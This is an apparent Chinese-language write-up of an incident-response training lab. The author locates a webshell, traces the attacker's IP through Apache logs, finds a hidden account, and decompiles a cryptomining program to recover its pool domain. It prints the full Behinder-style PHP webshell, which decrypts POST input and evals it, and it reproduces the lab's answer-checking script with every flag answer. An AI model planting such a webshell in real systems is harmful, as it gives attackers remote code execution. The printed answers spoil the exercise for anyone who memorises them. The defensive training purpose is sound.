参考:https://blog.csdn.net/qq_61872115/article/details/136618102

前景需要:

小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:

1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名

用户:
administrator
密码
Zgsf@admin.com

webshell查杀

登陆主机,启动小皮

image-20240806124005693

访问网站

image-20240806124456124

找到网站根目录,直接查杀一下是否存在后门文件,我这里用的是D盾

image-20240806125049731

查看文件内容,不是这个。。。用火绒把,也没有

image-20240806132945478

我说呢,被windows defender给隔离了

image-20240806133037186

打开看看

<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

得到密码rebeyond

网站日志排查

查看apache日志,在小皮的扩展里找到日志

image-20240806133324756

发现ip:192.168.126.1一直访问呢shell文件

然后对于这个地址我们可以访问一下就知道,他是在暴力破解账户密码

image-20240806133641734

image-20240806133705685

查看后续日志可发现它破解成功了,很可能是存在弱口令

image-20240806133910009

image-20240806133817603

并且在后台访问/content/plugins/tips/目录,成功将shell.php后门传上去了

image-20240806133947496

隐藏账户

多种方法,控制面板或注册表

image-20240806134039485

注册表这边我没有找到,试试日志分析,查看登陆成功的日志,先在事件查看器例保存Security日志,再用logparser分析

LogParser.exe -i:EVT -oDATAGRID "SELECT * FROM Security.evtx WHERE EventID=4625"

image-20240806135325167

挖矿程序

先在寻找挖矿程序,并找到它的外联域名信息

找到用户文件夹下的hack168下的桌面文件,发现程序信息先在寻找挖矿程序,

image-20240806135435899

反编译

列举用到的工具:

pyinstxtractor反编译工具:GitHub - extremecoders-re/pyinstxtractor: PyInstaller Extractor

pyc反编译工具:pyc反编译 - 工具匠

在线的刚好在维护.要换一个

image-20240806142135137

成功反编译,在文件中找到Kuang.pyc

image-20240806142201334

在线反编译

image-20240806142230129

最终得到矿池域名:wakuang.zhigongshanfang.top

提交结果

提交到最后一个时,会直接结束

image-20240806142356735

反编译看看结果

print('公众号:知攻善防实验室')
print('欢迎使用知攻善防实验室-应急响应训练靶机解题系统')
print('在此之前,您应该获取到以下信息')
print('1.攻击者的shell密码')
print('2.攻击者的IP地址')
print('3.攻击者的隐藏账户名称')
print('4.攻击者挖矿程序的矿池域名')
num = input('你准备好了吗?(y or n)')
if num == 'y':
shellpass = input('请输入攻击者的shell密码:')
if shellpass == 'rebeyond':
print('题解正确!')
IPadd = input('请输入攻击者的IP地址')
if IPadd == '192.168.126.1':
print('题解正确!')
username = input('请输入攻击者的隐藏账户名称:')
if username == 'hack168' or username == 'hack168$':
print('题解正确!')
wakuang = input('请输入攻击者挖矿程序的矿池域名:')
if wakuang == 'wakuang.zhigongshanfang.top':
print('题解正确!')
print('恭喜您,该靶机已被您攻破!')
print('恭喜您,该靶机已被您攻破!')
print('恭喜您,该靶机已被您攻破!')
print('恭喜您,该靶机已被您攻破!')

没错滴